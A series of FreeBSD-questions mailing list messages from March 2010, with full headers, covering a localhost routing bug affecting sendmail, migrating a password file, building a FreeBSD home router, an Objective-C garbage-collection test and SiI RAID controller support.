http://groups.google.com/group/mailing.freebsd.current/browse_thread/thread/2ab13c4b31228c88/15dab18a9066e9a2?lnk=raot -- Adam Vande More From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 03:00:21 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id AE21F1065711 for ; Thu, 11 Mar 2010 03:00:21 +0000 (UTC) (envelope-from jon@radel.com) Received: from wave.radel.com (wave.radel.com [216.143.151.4]) by mx1.freebsd.org (Postfix) with ESMTP id 13E7A8FC1E for ; Thu, 11 Mar 2010 03:00:18 +0000 (UTC) Received: by wave.radel.com (CommuniGate Pro PIPE 4.1.6) with PIPE id 9514904; Wed, 10 Mar 2010 22:00:17 -0500 Received: from [192.168.43.221] (account jon@radel.com HELO braeburn.local) by wave.radel.com (CommuniGate Pro SMTP 4.1.6) with ESMTP-TLS id 9514902 for freebsd-questions@freebsd.org; Wed, 10 Mar 2010 22:00:02 -0500 Message-ID: <4B985CB1.4060306@radel.com> Date: Wed, 10 Mar 2010 22:00:01 -0500 From: Jon Radel User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.1.8) Gecko/20100227 Thunderbird/3.0.3 MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <20100311022344.GP30257@mech-cluster241.men.bris.ac.uk> <11167f521003101834u15c8468bq3606b05b1788d967@mail.gmail.com> <20100311024735.GS30257@mech-cluster241.men.bris.ac.uk> In-Reply-To: <20100311024735.GS30257@mech-cluster241.men.bris.ac.uk> Content-Type: multipart/signed; protocol="application/pkcs7-signature"; micalg=sha1; boundary="------------ms030404060802000909060508" X-Radel.com-MailScanner-Information: Please contact Jon for more information X-Radel.com-MailScanner: Found to be clean X-Mailer: CommuniGate Pro CLI mailer X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: Re: can't ping localhost X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 03:00:21 -0000 This is a cryptographically signed message in MIME format. --------------ms030404060802000909060508 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable > Well, the ping issue is just an example. > My real problem is that sendmail can't send > anything locally: > > # tail /var/log/maillog > Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2B0irgd029426: to=3D= mexas, ctladdr=3Dmexas (1001/1001), delay=3D01:32:05, xdelay=3D00:00:00, = mailer=3Drelay, pri=3D480031, relay=3D[127.0.0.1], dsn=3D4.0.0, stat=3DDe= ferred: [127.0.0.1]: No route to host Well, have you considered looking to see if it's right? What do you get = in response to: $ netstat -rn | grep 127 127.0.0.1 127.0.0.1 UH 0 64746 lo0 $ Showing what I get on a 7.0 server. Unless they've moved things around since 7.0, you probably want to make=20 sure that you've not messed with the ifconfig_lo0 line in=20 /etc/defaults/rc.conf. My apologies if that config stuff has changed in the latest; I don't=20 have access to the latest right now. --=20 --Jon Radel jon@radel.com --------------ms030404060802000909060508-- From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 03:04:02 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 7E8AE106566C for ; Thu, 11 Mar 2010 03:04:02 +0000 (UTC) (envelope-from mexas@bristol.ac.uk) Received: from dirj.bris.ac.uk (dirj.bris.ac.uk [137.222.10.78]) by mx1.freebsd.org (Postfix) with ESMTP id 3BC738FC0A for ; Thu, 11 Mar 2010 03:04:02 +0000 (UTC) Received: from ncsc.bris.ac.uk ([137.222.10.41]) by dirj.bris.ac.uk with esmtp (Exim 4.69) (envelope-from ) id 1NpYgr-0004lV-EL; Thu, 11 Mar 2010 03:04:01 +0000 Received: from mech-cluster241.men.bris.ac.uk ([137.222.187.241]) by ncsc.bris.ac.uk with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.67) (envelope-from ) id 1NpYgr-00024c-02; Thu, 11 Mar 2010 03:04:01 +0000 Received: from mech-cluster241.men.bris.ac.uk (localhost [127.0.0.1]) by mech-cluster241.men.bris.ac.uk (8.14.3/8.14.3) with ESMTP id o2B33uSQ068381; Thu, 11 Mar 2010 03:03:56 GMT (envelope-from mexas@bristol.ac.uk) Received: (from mexas@localhost) by mech-cluster241.men.bris.ac.uk (8.14.4/8.14.3/Submit) id o2B33uPj068380; Thu, 11 Mar 2010 03:03:56 GMT (envelope-from mexas@bristol.ac.uk) X-Authentication-Warning: mech-cluster241.men.bris.ac.uk: mexas set sender to mexas@bristol.ac.uk using -f Date: Thu, 11 Mar 2010 03:03:56 +0000 From: Anton Shterenlikht To: Jon Radel Message-ID: <20100311030356.GT30257@mech-cluster241.men.bris.ac.uk> References: <20100311022344.GP30257@mech-cluster241.men.bris.ac.uk> <11167f521003101834u15c8468bq3606b05b1788d967@mail.gmail.com> <20100311024735.GS30257@mech-cluster241.men.bris.ac.uk> <4B985CB1.4060306@radel.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4B985CB1.4060306@radel.com> User-Agent: Mutt/1.5.20 (2009-06-14) Cc: freebsd-questions@freebsd.org Subject: Re: can't ping localhost X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 03:04:02 -0000 On Wed, Mar 10, 2010 at 10:00:01PM -0500, Jon Radel wrote: > > > Well, the ping issue is just an example. > > My real problem is that sendmail can't send > > anything locally: > > > > # tail /var/log/maillog > > Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2B0irgd029426: to=mexas, ctladdr=mexas (1001/1001), delay=01:32:05, xdelay=00:00:00, mailer=relay, pri=480031, relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No route to host > > Well, have you considered looking to see if it's right? What do you get > in response to: > > $ netstat -rn | grep 127 > 127.0.0.1 127.0.0.1 UH 0 64746 lo0 > $ > > Showing what I get on a 7.0 server. > > Unless they've moved things around since 7.0, you probably want to make > sure that you've not messed with the ifconfig_lo0 line in > /etc/defaults/rc.conf. > > My apologies if that config stuff has changed in the latest; I don't > have access to the latest right now. # netstat -rn|grep 127 127.0.0.1 link#2 UH 0 0 lo0 thank you anton -- Anton Shterenlikht Room 2.6, Queen's Building Mech Eng Dept Bristol University University Walk, Bristol BS8 1TR, UK Tel: +44 (0)117 331 5944 Fax: +44 (0)117 929 4423 From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 03:09:13 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 8B5DE106564A for ; Thu, 11 Mar 2010 03:09:13 +0000 (UTC) (envelope-from mexas@bristol.ac.uk) Received: from dirj.bris.ac.uk (dirj.bris.ac.uk [137.222.10.78]) by mx1.freebsd.org (Postfix) with ESMTP id 45CB38FC15 for ; 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charset=us-ascii Content-Disposition: inline In-Reply-To: <6201873e1003101858k2e5bd148ye922c8af71320aba@mail.gmail.com> User-Agent: Mutt/1.5.20 (2009-06-14) Cc: "Sam Fourman Jr." , Anton Shterenlikht , freebsd-questions@freebsd.org Subject: Re: can't ping localhost X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 03:09:13 -0000 On Wed, Mar 10, 2010 at 08:58:12PM -0600, Adam Vande More wrote: > On Wed, Mar 10, 2010 at 8:47 PM, Anton Shterenlikht wrote: > > > # uname -a > > FreeBSD mech-anton240.men.bris.ac.uk 9.0-CURRENT FreeBSD 9.0-CURRENT #2: > > Tue Mar 9 14:35:40 GMT 2010 mexas@mech-anton240.men.bris.ac.uk:/usr/obj/usr/src/sys/QOF > > sparc64 > > > > > > > I believe -current has a issue where you can not ping localhost atm > > > > > > > all my machines are current, but some are more current than others.. > > > > Well, the ping issue is just an example. > > My real problem is that sendmail can't send > > anything locally: > > > > # tail /var/log/maillog > > Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2B0irgd029426: > > to=mexas, ctladdr=mexas (1001/1001), delay=01:32:05, xdelay=00:00:00, > > mailer=relay, pri=480031, relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: > > [127.0.0.1]: No route to host > > Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2B0hbGe029358: > > to=mexas, ctladdr=mexas (1001/1001), delay=01:33:21, xdelay=00:00:00, > > mailer=relay, pri=570028, relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: > > [127.0.0.1]: No route to host > > Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2A87g4K005078: to=root, > > delay=18:09:16, xdelay=00:00:00, mailer=relay, pri=3721559, > > relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No route to host > > Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2A87g4L005078: to=root, > > delay=18:09:16, xdelay=00:00:00, mailer=relay, pri=3725184, > > relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No route to host > > Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2A77d4L004977: to=root, > > delay=19:09:19, xdelay=00:00:00, mailer=relay, pri=3903061, > > relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No route to host > > Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2A77d4K004977: to=root, > > delay=19:09:19, xdelay=00:00:00, mailer=relay, pri=3903122, > > relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No route to host > > Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2A3bvPl004242: to=root, > > ctladdr=root (0/0), delay=22:39:01, xdelay=00:00:00, mailer=relay, > > pri=4530195, relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No > > route to host > > Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2A3c9wG004609: to=root, > > ctladdr=root (0/0), delay=22:38:49, xdelay=00:00:00, mailer=relay, > > pri=4533820, relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No > > route to host > > Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2A340iF002543: to=root, > > ctladdr=root (0/0), delay=23:12:58, xdelay=00:00:00, mailer=relay, > > pri=4711758, relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No > > route to host > > Mar 11 02:16:58 mech-anton240 sm-msp-queue[32611]: o2A33vXB002495: to=root, > > ctladdr=root (0/0), delay=23:13:01, xdelay=00:00:00, mailer=relay, > > pri=4801697, relay=[127.0.0.1], dsn=4.0.0, stat=Deferred: [127.0.0.1]: No > > route to host > > # > > > > > > many thanks > > anton > > > > -- > > Anton Shterenlikht > > > > If you run CURRENT, you would do well to follow the mailing list. > > http://groups.google.com/group/mailing.freebsd.current/browse_thread/thread/2ab13c4b31228c88/15dab18a9066e9a2?lnk=raot yes, I've seen this. It's just that usually when I get problems I suspect my incompetence, so this thread didn't come to mind. many thanks anton -- Anton Shterenlikht Room 2.6, Queen's Building Mech Eng Dept Bristol University University Walk, Bristol BS8 1TR, UK Tel: +44 (0)117 331 5944 Fax: +44 (0)117 929 4423 From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 05:41:13 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 2EDCE106566C for ; Thu, 11 Mar 2010 05:41:13 +0000 (UTC) (envelope-from dan@dan.emsphone.com) Received: from email1.allantgroup.com (email1.emsphone.com [199.67.51.115]) by mx1.freebsd.org (Postfix) with ESMTP id E9AB08FC0A for ; Thu, 11 Mar 2010 05:41:12 +0000 (UTC) Received: from dan.emsphone.com (dan.emsphone.com [199.67.51.101]) by email1.allantgroup.com (8.14.0/8.14.0) with ESMTP id o2B5fBXp009238 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 10 Mar 2010 23:41:11 -0600 (CST) (envelope-from dan@dan.emsphone.com) Received: from dan.emsphone.com (smmsp@localhost [127.0.0.1]) by dan.emsphone.com (8.14.4/8.14.3) with ESMTP id o2B5fBjo005351 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 10 Mar 2010 23:41:11 -0600 (CST) (envelope-from dan@dan.emsphone.com) Received: (from dan@localhost) by dan.emsphone.com (8.14.4/8.14.3/Submit) id o2B5fBYS005350; Wed, 10 Mar 2010 23:41:11 -0600 (CST) (envelope-from dan) Date: Wed, 10 Mar 2010 23:41:10 -0600 From: Dan Nelson To: Modulok Message-ID: <20100311054110.GA11675@dan.emsphone.com> References: <64c038661003101809s7467432buce6a548b3b0d5cf2@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <64c038661003101809s7467432buce6a548b3b0d5cf2@mail.gmail.com> X-OS: FreeBSD 7.2-STABLE User-Agent: Mutt/1.5.20 (2009-06-14) X-Virus-Scanned: clamav-milter 0.95.3 at email1.allantgroup.com X-Virus-Status: Clean X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-2.0.2 (email1.allantgroup.com [199.67.51.78]); Wed, 10 Mar 2010 23:41:11 -0600 (CST) X-Scanned-By: MIMEDefang 2.45 Cc: freebsd-questions@freebsd.org Subject: Re: Moving master.passwd file between servers... is this correct? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 05:41:13 -0000 In the last episode (Mar 10), Modulok said: > I need to migrate a passwd file from an old 6.2 server to a newer 8.0 > server (different box). This is what I did: > > copied the '/etc/master.passwd' from old server to '/etc/master.passwd' > on new server then ran: > > pwd_mkdb /etc/master.passwd && pwd_mkdb -p /etc/master.passwd > > It seems to work, but is this correct? I'd hate to miss somethign before > it goes online. Yep, that should work. Don't forget to update /etc/groups too. -- Dan Nelson dnelson@allantgroup.com From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 06:48:48 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 1E73C106566B for ; Thu, 11 Mar 2010 06:48:48 +0000 (UTC) (envelope-from nlandys@gmail.com) Received: from qw-out-2122.google.com (qw-out-2122.google.com [74.125.92.27]) by mx1.freebsd.org (Postfix) with ESMTP id CDDEC8FC19 for ; Thu, 11 Mar 2010 06:48:47 +0000 (UTC) Received: by qw-out-2122.google.com with SMTP id 5so666150qwi.7 for ; Wed, 10 Mar 2010 22:48:47 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type :content-transfer-encoding; bh=ozZ968KevFuWMxAFJhX6avKesBXhXjK0w+eDcpT4c3Y=; b=BaSdfDvQJL+dYbrVlluOjtYDIKT+MvaWmS3Xgc1FLoNTFG4hOoumkOQguHW6KLsqse ZFmNFIEDh4C1t7OpF5++qU99uK4fg0Z1/M81OhZPX/K1RCAB/SwgI8MBiirwAQ10mNZ0 NJOnIar0qfNkjG4L54hGE+tQm+/MiEhMV1xuM= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:content-transfer-encoding; b=ifnGvhHrU2gG1uAWJ+ZVU4mV+vDnWhBKrZf0cDi4kT95/lwLwPhB7qthGRg+0g45WK Qfh29D8ZJL7EIRjz5wP0gGVMamGx3yFqPEXa70vnv5NzAQGeUnuLWSQd6Wwgnv6JOjCd C3bBHUvKADp1IFimKwc0gmj6bMfOrHR0JhIvg= MIME-Version: 1.0 Received: by 10.229.220.139 with SMTP id hy11mr75980qcb.8.1268290127173; Wed, 10 Mar 2010 22:48:47 -0800 (PST) In-Reply-To: <93C575B79E9B01449EBBB084032BC570123208B760@mail.ucwv.edu> References: <93C575B79E9B01449EBBB084032BC570123208B760@mail.ucwv.edu> Date: Wed, 10 Mar 2010 22:48:47 -0800 Message-ID: <560f92641003102248x177f52c1s1cd581ec48e5172f@mail.gmail.com> From: Nerius Landys To: mailinglist Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Cc: "freebsd-questions@freebsd.org" Subject: Re: Replacing Home Router With PC X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 06:48:48 -0000 > I've got an old Linksys router hanging off of my cable modem that is seve= ral years old and is about to die (very poor wireless throughput should be = 54 mb and is 2, runs hot, and "buzzes" while turned on). =A0I've got an old= er PC that would great as a router....however I also need it to be a wirele= ss access point for my house. =A0It has a PCI wireless network card (A 54G = Belkin, not sure of the exact model). =A0I know FreeBSD is technically capa= ble for acting as my DHCP, DNS, router, gateway box if properly configured.= =A0The question is, can it use that wireless card to act as a access point= instead of a client (how the card is intended to be used)? > > Also, any links anyone can provide on how to setup a FreeBSD box to act a= s home router/gateway would be much appreciated! I too am using an old PC as my home router. I have an ath-based ("ath" is the driver) wireless card which is acting as a host access point. Then I have about 4 ethernet ports, but I'm only using 2. One of those is a gigabit card, and most of my home computer collection is on a gigabit LAN. Just look in the Handbook I guess. Once you have it all set up it's very rewarding. I'll never go back to having a purpose-built router device for my home. From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 06:53:53 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D063D106566C for ; Thu, 11 Mar 2010 06:53:53 +0000 (UTC) (envelope-from nlandys@gmail.com) Received: from mail-qy0-f183.google.com (mail-qy0-f183.google.com [209.85.221.183]) by mx1.freebsd.org (Postfix) with ESMTP id 88E818FC08 for ; Thu, 11 Mar 2010 06:53:53 +0000 (UTC) Received: by qyk14 with SMTP id 14so4507807qyk.9 for ; Wed, 10 Mar 2010 22:53:52 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type; bh=/nR7WIZlEBcbfIMViMPm1YONugVeNjpZs3XvrkpeKpI=; b=pQY6NlbnZ0YTc05umyDQajLfc1qI6OJycqHFmAc3CQrMyjXE/P1knSbJypjfbxyRiz 8iJXxrJjlDT00Fq8gOMqNSeIuWrJA8QwPfe8rdvzwCQqp42Fc8C8NcjYOSQJfBRksxg/ nTX/eGiEDttJOQ+c3ZiKehyHD8tQMPO1/KI0s= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; b=RD/GQkQxkpuqkfzPKsXQMthNskRtLHSDA2wMLRp0CGNAlR2hinYFd/NOFevdip3Nni YbhIjA/m6BNggXNceqxGVe6gwJ55vwSKcsPm57YuuqUZ94BYodhVdQmGRqhcWUFzX29j em7BD6PINEJ4vm36uxgNhZRM28dt7Y8g8EUPs= MIME-Version: 1.0 Received: by 10.229.191.75 with SMTP id dl11mr1027831qcb.16.1268290432779; Wed, 10 Mar 2010 22:53:52 -0800 (PST) In-Reply-To: <1268263879.13552.1.camel@btw.pki2.com> References: <560f92641003100100y6490cf3veb53ca0b11a90dcb@mail.gmail.com> <1268263879.13552.1.camel@btw.pki2.com> Date: Wed, 10 Mar 2010 22:53:52 -0800 Message-ID: <560f92641003102253t68d082a4x3d343521cced11ba@mail.gmail.com> From: Nerius Landys To: dg17@penx.com, FreeBSD Mailing List Content-Type: text/plain; charset=ISO-8859-1 Cc: Subject: Re: Objective-C 2.0 on FreeBSD; garbage collection, anyone? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 06:53:53 -0000 > What is the content of the header file? File GarbageObj.h: ==================== #import @interface GarbageObj : NSObject { } -(void) foo; @end File GarbageObj.m: ==================== #import "GarbageObj.h" @implementation GarbageObj -(void) foo { } -(void) dealloc { //printf("dealloc\n"); [super dealloc]; } @end File GarbageMain.m: ==================== #import "GarbageObj.h" int main(int argc, const char *argv[]) { int inx = 0; while (YES) { inx++; GarbageObj *obj = [[GarbageObj alloc] init]; [obj foo]; if (inx == 1000000) { inx = 0; sleep(1); } //printf("before release\n"); //[obj release]; //printf("after release\n"); } return 0; } File GNUmakefile: ==================== include $(GNUSTEP_MAKEFILES)/common.make APP_NAME = garbagecollection garbagecollection_HEADERS = GarbageObj.h garbagecollection_OBJC_FILES = GarbageObj.m GarbageMain.m garbagecollection_RESOURCE_FILES = ADDITIONAL_OBJCFLAGS = -fobjc-gc include $(GNUSTEP_MAKEFILES)/application.make (I was building it as a "tool" before but now I tried "app" instead. Same thing really.) From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 07:50:17 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 81CB8106566C for ; Thu, 11 Mar 2010 07:50:17 +0000 (UTC) (envelope-from leslie@eskk.nu) Received: from mail.gelita.se (212-162-182-244.skbbip.com [212.162.182.244]) by mx1.freebsd.org (Postfix) with ESMTP id 4195D8FC0C for ; Thu, 11 Mar 2010 07:50:17 +0000 (UTC) Received: from mail.gelita.se (localhost.gelita.se [127.0.0.1]) by mail.gelita.se (Postfix) with ESMTP id C661910EE06; Thu, 11 Mar 2010 08:52:20 +0100 (CET) X-Virus-Scanned: amavisd-new at troback.com Received: from mail.gelita.se ([127.0.0.1]) by mail.gelita.se (mail.gelita.se [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id zCfeS7vvW1-H; Thu, 11 Mar 2010 08:52:15 +0100 (CET) Received: from bljbsd01.no-ip.org (c-195-216-040-164.static.bjare.net [195.216.40.164]) by mail.gelita.se (Postfix) with ESMTP id 6F76710EE03; Thu, 11 Mar 2010 08:52:15 +0100 (CET) Message-ID: <4B98A0B5.4010006@eskk.nu> Date: Thu, 11 Mar 2010 08:50:13 +0100 From: Leslie Jensen User-Agent: Mozilla/5.0 (X11; U; FreeBSD amd64; sv-SE; rv:1.9.1.8) Gecko/20100302 Thunderbird/3.0.3 MIME-Version: 1.0 To: Steve Polyack References: <4B980792.3050103@eskk.nu> <4B981934.9090904@comcast.net> In-Reply-To: <4B981934.9090904@comcast.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: Silicon Image SiI 3124 and 3132 RAID controllers X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 07:50:17 -0000 On 2010-03-10 23:12, Steve Polyack wrote: > On 03/10/10 15:56, Leslie Jensen wrote: >> >> I'm trying to install FreeBSD 8-RELEASE on a machine with an Abit >> aw8-max MB. This MB has a built in SiI 3132 RAID controller. I also >> have an addon card with a SiI 3124 RAID controller. >> >> The problem is that I can see the 2 disks and the RAID1 set that I >> want to use for the system if I connect the disks to the built in 3132 >> controller. But if I connect the disks to the 3124 controller and >> create a RAID1 set, only the disks can be seen. >> >> I need to be able to use both controllers because I've got four disks >> that I want to build a RAID5 set on one of the controllers. >> >> Can anyone shed some light on this. Via Google I've read some articles >> about these controllers and I'm aware that I might have to rethink >> because of lacking support for the 3124 controller. >> >> I've read in the ata man page that parameters can be added to >> /boot/device.hints but I'm not sure how to handle this during >> installation. >> >> /Leslie >> >> > Are you using the default ata(4) driver that FreeBSD-8 boots with, or > are you loading the siis(4) module at boot? If you are using the ata(4) > driver, you should try enabling the siis(4) driver by placing > 'siis_load="YES"' in /boot/loader.conf. Beware that the names of your > disks will transition from ad -> ada and will likely be renumbered as well. > > The siis(4) driver overall has a much richer feature set. I have several > 3124 controllers which work great with it, but I have never tried using > the controllers RAID - I simply use them as disk controllers and then > pool the disks using ZFS. > I installed with the 2 disks connected to the controller that was found by Freebsd. Then I added siis_load="YES" to /boot/loader.conf. Power down the machine and connected 4 drives to the 3124 controller. Upon restart I created a RAID5 set with the 4 drives in the controllers bios. Booted into FreeBSD but the RAID5 was not detected only the individual disks. This controller obviously does not work as expected. I need a suggestion on a not to expensive RAID controller that is supported by FreeBSD so that I can get the RAID5 set to work. Thanks /Leslie From owner-freebsd-questions@FreeBSD.ORG Thu Mar 11 07:59:06 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id AD979106564A for ; Thu, 11 Mar 2010 07:59:06 +0000 (UTC) (envelope-from axelbsd@ymail.com) Received: from n22.bullet.mail.ukl.yahoo.com (n22.bullet.mail.ukl.yahoo.com [87.248.110.139]) by mx1.freebsd.org (Postfix) with SMTP id 195D38FC1B for ; Thu, 11 Mar 2010 07:59:05 +0000 (UTC) Received: from [217.146.182.179] by n22.bullet.mail.ukl.yahoo.com with NNFMP; 11 Mar 2010 07:59:05 -0000 Received: from [87.248.110.52] by t5.bullet.ukl.yahoo.com with NNFMP; 11 Mar 2010 07:59:05 -0000 Received: from [127.0.0.1] by omp104.mail.ukl.yahoo.com with NNFMP; 11 Mar 2010 07:59:05 -0000 X-Yahoo-Newman-Property: ymail-3 X-Yahoo-Newman-Id: 273449.1519.bm@omp104.mail.ukl.yahoo.com Received: (qmail 78608 invoked by uid 60001); 11 Mar 2010 07:59:05 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ymail.com; s=s1024; t=1268294345; bh=J5Bb2hlK+78XoeiF3PIg/ku/mS3PLiD3YrNw2T5S/Fo=; h=Message-ID:X-YMail-OSG:Received:X-Mailer:Date:From:Subject:To:In-Reply-To:MIME-Version:Content-Type:Content-Transfer-Encoding; b=Omvv25ewpg2MlHKzYGsedIbji7fPBvGEFygwBAZlGylE49ZtGDwEBitAkJUwgxXEfz8uNGzNeyMMI8IxaAKbcWeDGzYn+6it5/JHBV5vOgoEokpiF8MmB4WG6QvTA1t+sn7oh/M5PoCk/JHlyVLW1GfQMkWBHY26IA7laiA/a48= DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=ymail.com; h=Message-ID:X-YMail-OSG:Received:X-Mailer:Date:From:Subject:To:In-Reply-To:MIME-Version:Content-Type:Content-Transfer-Encoding; b=jvwcqVtkI+hjmyYJYmrL3z4a+mRkANwN+uNxJTwhqOYsiyu2TX56EdFqX+izPF0Ha/FG/w6A2WrTB5VGMQ5eFKuaV4VkK5RO8fTf7iEv2758UEqWGscQxEUrWCbaGfRCR+ZQ+icPTdPFuy3PTNLaj9m0Q9GVpYpKKlLQ6LIkz3Y=; Message-ID: <131271.77828.qm@web24819.mail.ird.yahoo.com> X-YMail-OSG: a.bU878VM1ksVCZG1Xjp5JrygJkW2BgtsQxnltsZt1a9pN_ kqpLadJRcshf.JdA0xddwD5u3jIlWUcqs09CmzSvcK7jiwAAUYmuzuU8EBgx PzGflW7ztPtYWt.pZ1e80zzIUIGfHhaVNNsSpdS9_OyTyvy93nmkn2SYKeY0 lwRJH.yvf1REzr0gjhzzUXmCrMsOCimldg6z0TSFX977Jc.7LP5qo5fwN0Sv iolDe6hDWa4HhICD2A.m6VViLRY5t6SAyQw-- Received: from [192.196.142.20] by web24819.mail.ird.yahoo.com via HTTP; Wed, 10 Mar 2010 23:59:05 PST X-Mailer: YahooMailClassic/9.2.12 YahooMailWebService/0.8.100.260964 Date: Wed, 10 Mar 2010 23:59:05 -0800 (PST) From: "Alexandre L." To: "freebsd-questions@freebsd.org" , mailinglist In-Reply-To: <93C575B79E9B01449EBBB084032BC570123208B760@mail.ucwv.edu> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Cc: Subject: Re : Replacing Home Router With PC X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 11 Mar 2010 07:59:06 -0000 You can use pfSense : =0ApfSense is a free, open source customized distribu= tion of FreeBSD tailored for use as a firewall and router.=0Ahttp://www.pfs= ense.org/=0ApfSense is very simple and intuitive to use with is GUI in PHP.= =0A=0A--- En date de=A0: Jeu 11.3.10, mailinglist a= 